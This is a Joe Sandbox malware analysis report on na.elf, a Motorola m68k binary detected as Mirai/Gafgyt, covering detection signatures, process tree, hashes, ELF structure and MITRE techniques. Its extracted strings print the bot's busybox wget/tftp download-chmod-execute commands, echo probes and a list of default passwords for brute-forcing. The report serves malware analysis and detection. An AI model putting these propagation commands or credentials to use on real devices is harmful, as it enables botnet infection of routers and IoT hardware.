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Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1530590
MD5:	9fbcbec2482f6966fb801bd429348f97
SHA1:	e271c718461839d42a935b2f026ac3e6f06c407e
SHA256:	9d6ec4ee1096ec4c6d4e43d4ce4c28423a03cc327a0fcaf8b39b28553ae38e00
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Deletes system log files

Sample tries to access files in /etc/config/ (typical for OpenWRT routers)

Creates hidden files and/or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1530590
Start date and time:	2024-10-10 10:26:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal64.troj.evad.linELF@0/0@0/0

Warnings

Skipping network analysis since amount of network traffic is too extensive
VT rate limit hit for: na.elf

Runtime Messages

Command:	/tmp/na.elf
PID:	5447
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:

Process Tree

system is lnxubuntu20

na.elf (PID: 5447, Parent: 5374, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/na.elf

na.elf New Fork (PID: 5449, Parent: 5447)

na.elf New Fork (PID: 5451, Parent: 5447)

na.elf New Fork (PID: 5453, Parent: 5447)

na.elf New Fork (PID: 5455, Parent: 5453)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
na.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: na.elf

ReversingLabs: Detection: 28%

Source: na.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate
Source: na.elf	String: N^Nu/proc/\|ash\|login\|wget\|curl\|tftp\|ntpdate/fdsocket\|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//proc/net/tcp/bin/busybox tftp -r la.bot.%s -l .t -g %d.%d.%d.%d; /bin/busybox chmod 777 .t; ./.t telnet/bin/busybox wget http://%d.%d.%d.%d/la.bot.%s -O -> .t; /bin/busybox chmod 777 .t; ./.t telnet; >.t\x%02xsh

Source: /tmp/na.elf (PID: 5447)

Socket: 127.0.0.1:1234

Jump to behavior

Source: na.elf

String found in binary or memory: http://%d.%d.%d.%d/la.bot.%s

Source: Initial sample	String containing 'busybox' found: /bin/busybox tftp -r la.bot.%s -l .t -g %d.%d.%d.%d; /bin/busybox chmod 777 .t; ./.t telnet
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://%d.%d.%d.%d/la.bot.%s -O -> .t; /bin/busybox chmod 777 .t; ./.t telnet; >.t
Source: Initial sample	String containing 'busybox' found: /bin/busybox BOT
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/busybox \|\| while read i; do /bin/busybox echo $i; done < /bin/busybox \|\| /bin/busybox dd if=/bin/busybox bs=22 count=1
Source: Initial sample	String containing 'busybox' found: /bin/busybox cp /bin/busybox retrieve && >retrieve && /bin/busybox chmod 777 retrieve && /bin/busybox cp /bin/busybox .t && >.t && /bin/busybox chmod 777 .t
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget; /bin/busybox tftp; /bin/busybox echo; /bin/busybox BOT
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -en '%s' %s %s && /bin/busybox echo -en '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo '%s\c' %s %s && /bin/busybox echo '\x45\x43\x48\x4f\x44\x4f\x4e\x45\c'
Source: Initial sample	String containing 'busybox' found: N^Nu/proc/\|ash\|login\|wget\|curl\|tftp\|ntpdate/fdsocket\|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//proc/net/tcp/bin/busybox tftp -r la.bot.%s -l .t -g %d.%d.%d.%d; /bin/busybox chmod 777 .t; ./.t telnet/bin/busybox wget http://%d.%d.%d.%d/la.bot.%s -O -> .t; /bin/busybox chmod 777 .t; ./.t telnet; >.t\x%02xsh
Source: Initial sample	String containing 'busybox' found: /bin/busybox BOTbuf = %s
Source: Initial sample	String containing 'busybox' found: >%st && cd %s && >retrieve; >.t/bin/busybox cp /bin/busybox retrieve && >retrieve && /bin/busybox chmod 777 retrieve && /bin/busybox cp /bin/busybox .t && >.t && /bin/busybox chmod 777 .t
Source: Initial sample	String containing 'busybox' found: armx86_64mipsmipselsuperhpowerpcsparcget: applet not foundftp: applet not foundcho: applet not found>>retrieve/bin/busybox echo -en '%s' %s %s && /bin/busybox echo -en '\x45\x43\x48\x4f\x44\x4f\x4e\x45'

Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: admin
Source: Initial sample	String containing potential weak password found: 123456
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: 12345678
Source: Initial sample	String containing potential weak password found: 654321
Source: Initial sample	String containing potential weak password found: support
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: administrator

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.evad.linELF@0/0@0/0

Data Obfuscation

Sample tries to access files in /etc/config/ (typical for OpenWRT routers)

Source: /tmp/na.elf (PID: 5451)

File: /etc/config

Jump to behavior

Source: /tmp/na.elf (PID: 5451)	Directory: /root/.cache	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /root/.ssh	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /root/.config	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /root/.local	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /tmp/.X11-unix	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /tmp/.Test-unix	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /tmp/.font-unix	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /tmp/.ICE-unix	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /tmp/.XIM-unix	Jump to behavior
Source: /tmp/na.elf (PID: 5451)	Directory: /etc/.java	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/na.elf (PID: 5451)

Log files deleted: /var/log/kern.log

Jump to behavior

Source: /tmp/na.elf (PID: 5447)

Queries kernel information via 'uname':

Jump to behavior

Source: na.elf, 5447.1.00007ffc31998000.00007ffc319b9000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 5447.1.00007ffc31998000.00007ffc319b9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: na.elf, 5447.1.0000561c1427c000.0000561c14301000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: na.elf, 5447.1.0000561c1427c000.0000561c14301000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/m68k

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: na.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: na.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hidden Files and Directories	1 Brute Force	11 Security Software Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
na.elf	29%	ReversingLabs	Linux.Backdoor.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://%d.%d.%d.%d/la.bot.%s	na.elf	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.4551128125820805
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	na.elf
File size:	104'072 bytes
MD5:	9fbcbec2482f6966fb801bd429348f97
SHA1:	e271c718461839d42a935b2f026ac3e6f06c407e
SHA256:	9d6ec4ee1096ec4c6d4e43d4ce4c28423a03cc327a0fcaf8b39b28553ae38e00
SHA512:	48cf546ec5969205af8bc357f9b2b6ff07bfcdc5d638560127c2d7005d3878f81d963275f732760988c92a9b83aa22f8db3335718f8933cbc36befd37a0b29a2
SSDEEP:	1536:iHPbUHbHIFGixjg5dcZ8I+9X0/Uwqsofb+X3Fts5LcjN53r:MAHrAjg5dcodpNTfCkLcjH
TLSH:	A9A34BD6B800ED7DF80BC3378443491AB231F3619A422B366753B977AD361A43E67E85
File Content Preview:	.ELF.......................D...4.........4. ...(......................P..P...... .......P..JP..JP..j8.......... .dt.Q............................NV..a....da....HN^NuNV..J9....f>"y..Jh QJ.g.X.#...JhN."y..Jh QJ.f.A.....J.g.Hy..LN.X.........N^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	103632
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x10b72	0x0	0x6	AX	4
.fini	PROGBITS	0x80010c1a	0x10c1a	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x80010c28	0x10c28	0x1e22	0x0	0x2	A	2
.eh_frame	PROGBITS	0x80012a4c	0x12a4c	0x4	0x0	0x2	A	4
.ctors	PROGBITS	0x80014a50	0x12a50	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80014a58	0x12a58	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80014a64	0x12a64	0x6a24	0x0	0x3	WA	4
.bss	NOBITS	0x8001b488	0x19488	0x628c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x19488	0x48	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x12a50	0x12a50	6.3121	0x5	R E	0x2000	.init .text .fini .rodata .eh_frame
LOAD	0x12a50	0x80014a50	0x80014a50	0x6a38	0xccc4	1.5758	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

System Behavior

Analysis Process: na.elf PID: 5447, Parent PID: 5374

General

Start time (UTC):	08:27:43
Start date (UTC):	10/10/2024
Path:	/tmp/na.elf
Arguments:	/tmp/na.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: na.elf PID: 5449, Parent PID: 5447

General

Start time (UTC):	08:27:44
Start date (UTC):	10/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: na.elf PID: 5451, Parent PID: 5447

General

Start time (UTC):	08:27:44
Start date (UTC):	10/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: na.elf PID: 5453, Parent PID: 5447

General

Start time (UTC):	08:27:44
Start date (UTC):	10/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: na.elf PID: 5455, Parent PID: 5453

General

Start time (UTC):	08:27:44
Start date (UTC):	10/10/2024
Path:	/tmp/na.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: na.elf PID: 5447, Parent PID: 5374

General

Chronological Activities

Analysis Process: na.elf PID: 5449, Parent PID: 5447

General

Chronological Activities

Analysis Process: na.elf PID: 5451, Parent PID: 5447

General

Chronological Activities

Analysis Process: na.elf PID: 5453, Parent PID: 5447

General

Chronological Activities

Analysis Process: na.elf PID: 5455, Parent PID: 5453

General

Chronological Activities

Linux Analysis Report
na.elf